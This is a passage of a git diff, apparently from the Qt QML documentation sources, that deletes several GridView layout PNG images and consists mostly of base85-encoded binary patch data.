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 E2c41|sQ>@~ diff --git a/src/qml/doc/images/gridview-layout-lefttoright-rtl-btt.png b/src/qml/doc/images/gridview-layout-lefttoright-rtl-btt.png deleted file mode 100644 index bc7e5689726987087a744b3b5557040140e9b8dd..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 8725 zcmbt(Ra6|nwq;|D6A13^65OR5_uvGF#vOvYYvb-N2@b(sLvRfm+%34<>r(Vjl_kZ@eqvjRyc=|5{5(sK`l3 zP^f%$w6L}_2LL=_!ZfCAvB5ZRybj-|sgQJSF&aD*sN{4it)%98U$G#zXshJSQVC{U zatjW;Cx7XhN+Wl-XPDNd&I%FV1IfHE%s$D7=}IxIS292f@mVh?92A>Nk9#Nmuh;p` z{T$sl0O((5xo-pEchQH{imcBW$GbMj_*{E7Hc!($#6afU=ioU(*L>kwG0Q zUl0%LWPnnu`ULG9C`6V&<%l&}e?(eTOV)(n7^s|6 zB$|+tUchfmwIiSRydKB&>z1_cQ>wGG+OIZ+hW0Ysh{zV_e(ks@8TzKqyC-YQq*Zx& zcV?XuiJfYvbLK7Ka5y?n8p7&P5xZaUBkDe&pUI3nw++MbDSmbM1%LNG`XHYH z_LJS_ugrFPb?0-;Li17wml|07o*BQ3W(V71fBqNvFT$00)oMKX6rC_6?h)Q(hm09> zX=xJzY7s2?$?Zp@5VdiYRS7kF*JorY%&ct2qr-APwpT z3*1qF&gS24usfuV4DH@-Ovl=sU{epj6&H>elvX$z0GC1VvUq2%J2|Kl{_!2%7;<5> znrv520yM)Pe&0w)OQ?7%;JZ2_QZ#C%#8f z%Je31lQ!$Hs?5fe`%wqE<`oS-!GQfO{15h@@(H3>@;TL_#PVo&vQgnuU?vAOjv2Ij z1Hpn;hTHW=92?ka8*zl5oc@tX60#~=MgXIE1*^aza-u{*MQC#|kEiVqEbqy!SMsJn zsdN0FEyWKW%>*WOLv!W_Vm}o5?XjG;v{8Ydr%e{Hk`2_K6k!}YD`YAQiAwy6WPqjh zj*qZqN}QWvxIo|6L}bzk+j^=V+1yk$)8Cwr)dW?8ZDFU5K2w#0^SZ|U$=;pybCD4d zj2so;QO4Feiw-_^iLf%f{q7-TcaF!3S9$qmhMT6yTeQd-O)oUByom|!*>WaHBEI-W zI1X;5qBvtD<(1aCd`gC4uc|M)XCZavg<<3;S+(y=%OB71AB>D+^$eA0cZO~l(#83k zfSXEfp1#)dg}h@*g0{ho?w}dF=4gE!#dke z+_gfAITw{-)FnP4_{(5d@w%W}Jr3>w{UAqRa^E4m=4`H{J?ChRI-Zq8;GLU1c`=`D z4QTpPZy~W(X#T!2Qt`vXEJl+T7XmDw>IeoUNN`>XU&W5Ga09xfP>B)hngNcZ1y?3i`3nN!G;dX% zffmWR{DkXk%TT&ZNfMQK62DyrZVbE9R_2uI7k&P-6R2(Ca4j716@Z2|`loBSG#;QQ zkAdg@&OnR6H0XK9liONh@y0h=Ooyl^w&ro)rq>V0an)|07blMRY&iE^z1JJ#OSUN( zn@DEqE$QScvg|VWPxBQ#D_@RbANDGAcvTE&e3dP2=2lNZ6%yk)9_-JRa#&GRvxQ}R z9M9Cr)fWlHA=knY+cdx>(@+zRB@?1&xR^4h6Hfg;91?=#`R2&f`PPB*PGmorrook@ zDU6ZZ4EfU!K-2yO^?&!7J1Pqd6U#QSgN;ck~Kd0z|;6H=O%frGPF$w=EY z=8oQInGBxt$Tp6F0jm1;cw=00ceFjAV!K;a9}0;_f!!G6u1?>FfWs~x&6ni#@ zO#$-vUu78K-r5e_fwRp-f>c$pc7!9^<|-49={X0eE=jePkWOFIla^=b%Kcngr- zG93^nuMcOy-4Fh&W2R1ykK50e`0LdKOBvv@;B;6#>=2x)u|{P&U?!0?$`?g6wK}#r z!At@(8v;gS4i4GAcEuAjNWyoMlE9%s3WO8R>f|VJS$N|APt3!IvuykX?l3jw&mLP5 zD!cN9?YHcb=n5_fl43C6+4I8m&?^E|HUTW49(ApLp?)nYXGi?Zte^jc`>x6F+VV+M zt5R`p18k(y3~;C}dluW5mmpDneg`L!h1ApAXk?_A@HMn^{%M~NZ zO3bC@Q&I+N0ilhWZI+uU=?U3fu<0&$5}RHb6Z2fHFk_5Y1#ARCReIURWiq>X#m}w| z4O*xmk;+R@a`H{VVF1Iz*9iGTnhdXr*h5n22v} zP)Cx5KsH9i||_@y+la`xyC{ z0(6OVOs_0%wrP_i)U(_vehH9Fb!Uh|Yt+UBQPDEQe!*?bTSIQT=M?Fw+VOdB>MVau1^bdpqoTHbo011dr+kM}eG zYu~+`F5L0jETq!m(1d`HWNxM3#m`P>_&r*=ZkpyWC(nmdEBUZ6#ZMmHC{?0eQJ@-j zsfQQd7BIgHsD=r(b_b668#i5DJrGcE+aJ0FNH@2mC#_C^ zStceftOAYsJcjZ>gWf!fZf zCA(`J>RoTjFlT&>HJ^S!t+xtjA{K?Mch%X;3sSd`s5F47_6sz3F_Olpy&z0v2*d_b z(N)ED*^|`L4r?o@g38H;H%i#AlFD@Dk7VN){zf7@vQ7R8p&~{QU{*0MfhqWonXmdz z$Ywc5Qv8*|MjCe;HPZV-lc_f~^)+pKX?FOxUbxmA4%Ek=eO3#N)NWJjtK$goKQpu4 zu(YdL#bIw5T1Al~l*z!x6X(-3alRj-8#Q&%3Qj5v#Xj)4HT!&u0}AXitBN6dgJHth zaA#hlAtSy5u_Cum1wLCz{Q`UUf?rEkEyC30i-su^1!H7aASImFV_r@3?6|?nt9| z^d;2Zi=E1)9PrScN*f|~|3p-(wqxy(ho@GfD(L^B(j=lfh6yTVs8X|T`Ji#b2dnQ3= zUqk$S-{9u|O^y5ny!vicf>3LC<+DxQs109+OeaAWWAXKz`s%piYrd`)e9da(zLM<5 zrLeO86rCl0qeB8z+ODhZa77fokym?G$;F$Yd!sF0A2ThC^2gwnCpR1S7)f*m{ejCQWkoEbShizXOAj>i9IjSq zQBEiDH+o*cG&+T!%}_f(iA!+{{GO-eyVm{&MMQma{WFV5-L9o47q*!uq8vMJ;JBSa ziN4l;8y@m3)iN@Kw)=3x?`9>00xMK(pG-v=sZ%Jiyd4RCWYFcaN2h$&eCgamH`}cm zc&k1yqOieJBgXfZckZQltPyz5e|WWmIrezNL@&_@jzu10)Nd~gXX@ms(DN`pFWdUk z+)3X3yr-_ufH?wVmWVKj1^4(lM$Rw@F>4`WZ-02H)t_L}S$%q^j~*PSzT4z1lkheS zv4WHrx$N*C)$7zGR8nK7M2pouUDG>L(35Z^lGKpix|p%X5wxQ6|M)@N zY{@O29f4QuHKB4?6EoDFPd>2hn<%WSH5#L}OF|mbrENpC*JlaNQRvY@-^GUN2ds~a z`{u)WnjFI3oVDP6iuESGTnef_NiPP`zuh4829$ASC8DF))XWIGUlQM1tKtH75ZJFX>?M*ZF7`Mu39!wJb9xIzKmFo@S5X9|beLxu88 zahYE3qNFliQNDEpx;lPBp1Wz6n#>s~DW=S$b$2PAWrUa7({HZP^vN1r(2$~(!Cl_B zw0Vv!wiH34U~Z>f$hU6tcvfb?Ee~a|KbQK4l4>OhL5%Xu( zCiNA+`pV=*OXgaLiG=Ht-$seV*(iMrUPEK-nJ!W68KJ< zZNpeVFyr;|nKS`G4e9Z47r{#AR-+G+k+_&-ChNi%Wdx zWgC}Sn?D8qOFlkXa+`!JzR9PUt&3Or$8F*(f(X{05qzT-vYQ1$)~dS_b?K3qRxZwg3e;#tGay!MFi8(iL?P`AI{GIMb*0Db9akMXi(YafC( zlI7ccltIfO%<3fGv_+GI#F!o=2LjF`Uux{BcG(8XQPX!`SZPy$UXk;oni6xO*X+$c zOg3Se&R$b!z851@zBlo7R>F?3gI6&BH2Sn`6La49W8U$GxM*dq0Zl(L{pDDv96#=F zRK_LP5QR>S2vt%`WBuXTm13Wsh{Egzlej>-?gKVW$?9}JcuB>L1!=jkOUpDHQ{ixaYPCDz0 z{(Lv_5S-5SCw2)K1^p;bEBwrQSu^0#@BHkE%9545RBy$tWkCz+&Cpgcl7vRNW~xxo z6bUw#uMgcLUKj8&W2N#V6w7=D!x5s939NauWVR6eyi>UN8t=X7_Uzz@jSQ)M{X=Yu ze^&P#ie`O7V)$T8V(YD0uRzs=$HM^;kK^KrA4 zd8yk8?QWA$kz|eBB<^OmwBP-mI>N-P=`ZS~Gt~B1mp34w<_X|3>=*kxq3hVQz}QWecC)`A%e5Vng-++YcFZaDK4zwXC(@Ziri zJA@ZrdJ2os=-{Oz(}(W%-poFZv0oKN#^D`xCo$njp{1QL*X_B&3$)n9u~Whg^TiLX z%;{=43Xz=^9YwSFeL5X%+6lVZL11R9@q=M@bOYB;evkYxGGuf@Z?gUq70K!WV^%l% zKvErtaC7mQVCKLi^p^?}Y%nICIx!f01sKlcO6;~^Y4-gL zzXELX<+pM3B%j;xC6z1sQgz{q>4+5zy8mTy1v7$>d?HvX(_t8(BWc=ncqm~`0t*}5 z>r*$z^ly)+Aa!jSiY9*vDJ8!lz}GRKUThU?NTc$ir?BxOXoKpX7U<2T+w)^f=qSJN zhDP-{Dj79z{WI+ZE>|(>fIU2Z%i&xcDSLyC693%3g&T9?e{NqIb`QGA|0cG2&dr#g zTtO3FpBI-_+gvQSYW0b`EY65ZZa=#OYu6B9kf(Z>M$38F#G+xW`ve4%4yCl91egOx zSVLi~;YK}unYGb+95eqmW46J+bsDZe?DnfmIi)-!JuhK-39ouAX6&;bR$eadMt!Q0 zKKilGYroPO^2z#(x3{<4YfU%B*cqYx*ScJJE~m}jAo&AaX6oV8=-*8k?tELLk>uoD z91r!E2HF2CjQ>`~RzU!-OI9|s3${(mgz{uP*}1*Yx$w#RpKfL9twxRE z^Rr_4^4^8wqE_=dxbQtlZOh|&^^EMo(mKnnUC`^&-e30rj^3D6yu=dRPjfx|WJiL! zzl9|~cMr1v^@;JeLgU@_ZlF47=)6YCo`Wpj;B>a?hG8khZBC?VUf1kL$t-C>0fv2B zv)UpvueZsE9ar!c9_Vfs~K#lK>o(-DisYS>X7@I1(MWZwP$m=zFZH; zWt<4dz*M7z8HW_xrG?87A@M)%Fy&w(=X(qq3xu-@ahk-P1wMbQTwsnI4DpSg5Q*-> zcSEXKg?E#00+D^TDRj=I_{Md=^-IZlGx}dAAd@0`ufsyyA}T`H8DFE^eK%;G@;SX? zOggR)#rz9R4(S~{HK#tpWJZYHS3;JbbTtI6`ls1**tNcHaQ8}Up&y{3S73{$#f+px(JwzzZb>HQs=WV7Tj zkaF5Q2UK?Ef<2U-*|~3ih^bXetviT==zXV+!?A1chpwKUFa44*b!lOlnBbF!NSK-y z+DJK3(B6nu`61Q+rq{^{m)GpViqjK71PxudPDg%YnK-Q$$19pSo@G(Yyl`f8rTlm% zGcgc}gY~+bzM%C+mL4G?<`>qrtd*gBu-bha%q)a&IzvcN2PPL@r^bqdd%QyZNF6Sb zoW3!{r2vHVaqUchU8Zqua2W6@#-sYNp8Q~8z;RO-0pEE)gHC@5g zBc~4AWPH9-S;K=WSj~Sg8x_&+TZ5Qqh3Ueh>)hhY%^|JB==zEK92^><)jq=2?~y?y z5@rWT3>4&8aoM2ZU*V$0Y8AB6oJf0|J_7N3tG z_u<#WeDt8V4NL2;*Sq+N0xYM4m!X+5`o(6@Mr2_qS9%izTLkUMi}UdNpcB59=tCP} z*NW|Q`w!sxn>EYPZmc%^c)pe7lm_~W`|ReBl=n9U2+XSv%+Ax%bbBoDb7%R0TLiye zlXzZWd_Hf18!EcDaOIG{{gF$I)D$thZx)7_ubH^^==-|rFzu2D%nF>`i!z!t5xJRR z^U8Ze&1|rqp!*+;E?epN5kVTU@1~F~@6dY3?<$UBR!vP9nNqu<2kAjf;`t(PPQ~>azB>ksV z#^C8tREeDw@eV@yKAKSMIH#@OlBv_%_NB&dLvGCao-}HdHyO1JJ8L|mUyy1>kj3yq zQ#SLLc|qT}#3^^x1$3?@!oD#mfAK74f7`EMFSLNCe>vd%tzbT7g-apXycN2(UzhX( zaaR4srMc7aXfVb8unNGj8jyd(m_h@8sW;7G*);3M9TsaSkgg));ILt7gGf6_U#^7* zlA?|i%u7Kn?yc+Mg*Wi>ACDrckYqQfsm4W0EkEcM7OtD9HDJ`&Bgm3`r`%BD?(H;O za$D-$lxp6eDf)$)YwEaH{rc6&;SvwvxLAy~YZc^kRL7AJr@#vtkd{40qusw_zLhVJ z*}@d}>L#=6RXCDX)FX;SKu;ye6lX4ha%S7}QEQ|~Skn%zxTox1fUzb_-kOaY+0)CS ztMuB>Q^3J+_nc{fNS2DK53aSfy<2X0@H|xIgt0hxJtbd?<4xvCb}`sLnHR~Naq=Bu5MT~pXc3TFzf27|nT z)pz{Jusfu`#2opzt+Rv&xD?<3)enG&aA4Sm)=1#847}bM>&mePHTlHx>EuO+G!ZS z$z#_fopgvMYkD@S79zKIR)HjijgqubRO|S1ON`k{NznYN{kOu5H)pcvtx&xFDr5n{=Xng2jQ=#ldgBQ2&>blFMSPJK`A!3 zE%D3a)J_KYYbz+JsRY8a@>;T`gvO@f^6DPv=4O!Adpq4Dynh0e)$a3Y=N+yyvilR6 U#g@vy-)?}Ml(J-vxN-3R0=@{TT>t<8 diff --git a/src/qml/doc/images/gridview-layout-lefttoright-rtl-ttb.png b/src/qml/doc/images/gridview-layout-lefttoright-rtl-ttb.png deleted file mode 100644 index 3ebf74fae5aa9da47ab3fd86f05df654c7d56523..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 8693 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

{@NbE-BVCoeK zNKE_-a&<2i!=}^zc`x_fIZw&eE5+eB(**vT83Qb~$Tn zyUgaJb@0XGpSL^ctipWkXJ?-HMa^N*@!)(tjYUdp>^twUVnXuQJ!Yt!_m7+s*?O*f ztZZfMKcYQ0B9nX`0p05%U%ity*e3t#4c9T|8t&bQGDeJap(>g!6kl3%r( z=u$U;F7u!9D6LLX29Fy_x5M>S)FGSALD$vswn&veE}e$dwT-#xtcdhR{5Wv$^yPow@E@O)CyrdO@#2rF>5tHRENX2BVqP5L zlNu2o^|&EhQxkjzLL!c$+bii7PR(qoOT9t+fPAMO`VzdIN7`qtS06dS8(3!`uG){@ z(t^IGQT=bpzJS@T+EA=3lWw!^b-+^3}wMl#x2Qk%Ta5YOfLsdIYTsmMaApc8LNE$U zUcLrDSN1Ks_^hDH36b-Cy7c-ha*gF2{hBcIgeQg2OT~6zRcG~#P4z|Jacf6KzWTEw zP#QMoFw;*zFh((m+=oK|&==~sQL6UqbJ1AuZB`Il0kO3VU#p4uEXHKF^#Mvp(A*)5 zm5Tx33gs&Q>O6ogbut2#EIJKL*7A{9?V#cq5BbY&F9kNzc?LgvxjF`(-h@y;LPR+} z+-s2Kf@09vPL1&tvvS#B$7%{<>9MB_JM9a@TY@qle0lID1s*E^ecq&6*J_9$lp{Z# zG3Te=sqFJLxLWSP%@r?I7{tPmXVk)F#XX_Vdy6_YZ)bG3#}KLUx+$(G_;Uadr*V-sWN4lmpj6$OU0*>T}N^w z7G5Pek=H?Z{|~jxr)SS>Q!~lp~y47V_S6czlbcSxEZ*C5B-nCpw58 z9ol)vYbiq+^iydT`$LFc$Yc}DJX)*`Yb+fP3D*?Y?78OD00JL7Mkq!U$fa39qk?91< zJEu%bL%nJU;tEXW5Vgd{Qp=D38)%=ajGM7TI&dMA-*#y@n84c+$)$ew+pN|7lu1Bq z>h=AdP%XL^`F91BTMTpTE>5Et;>{e3K8~+ik^9OeMl&3^-PC8z!MMd3oI}b+H ziDlV4nKm@jUd~%1W<8g3Ul9M3dI1}7R@Dm*fR>MEz!^Bm4 zx%{ZhUHBoT!$D>UNq8w{ZgbRlgw2`d{<0n}rA^;pEoW$b%{p{YT?IPUxv%3mM7QxW z&I8Q0?8<`nQEEk}!x<4tr(YOU~`SD zw{~~^(h}5!?CU0+396=o--T=?Gu^r(Z9mdg+zc$oM5cDp;X4zw^#qSXZ9Og1h!jN| zyCyQACs=)x&F&*L5Q{X@%wmL1G8Ey3H|)4%H^4~_SXNc;6$MjJK>`mC&t?Ka5Rs=Aa{40a$r;wLX`wEQj6rP|eP;~tz-fVWpi z)gf6{%W1bLf$;w6vtLlhrTEw@t&xClKe}Q=0PH@nt6E zIi4!1)Q6D@Eb^r8H!tVz{XDnbIBQxKF;m1M z2zW{Q8grQ{^9amulPE5nU|S1bCpF7(x%W7d%!&+2oBLl9c-S#=i) z0xwG@P*6bzMhc zEYJKTVrFc{pEbPM$+Un7q&wQ$9})jluZM@s?)bX4dzXH1Quz*TW%cmPg*~T=A0?G@D1WHOb)W9O7SuD}#>!LWK&aq;>|c^ z<{WsAPHF0kBepju8CE4u@{!(x$b8PtSY<FCQyX0YtvKKKSk}_+SL(|Dt3w=Yb9gpm9C-UzRexa^+02iFi&fwn-+d65PE zBE9NG<5D)nDW3PQnQ@S-jx=Om-r>F_9MPX<9;bTKQ$u;fI}XQkb!O#EVhOIA4MYkg 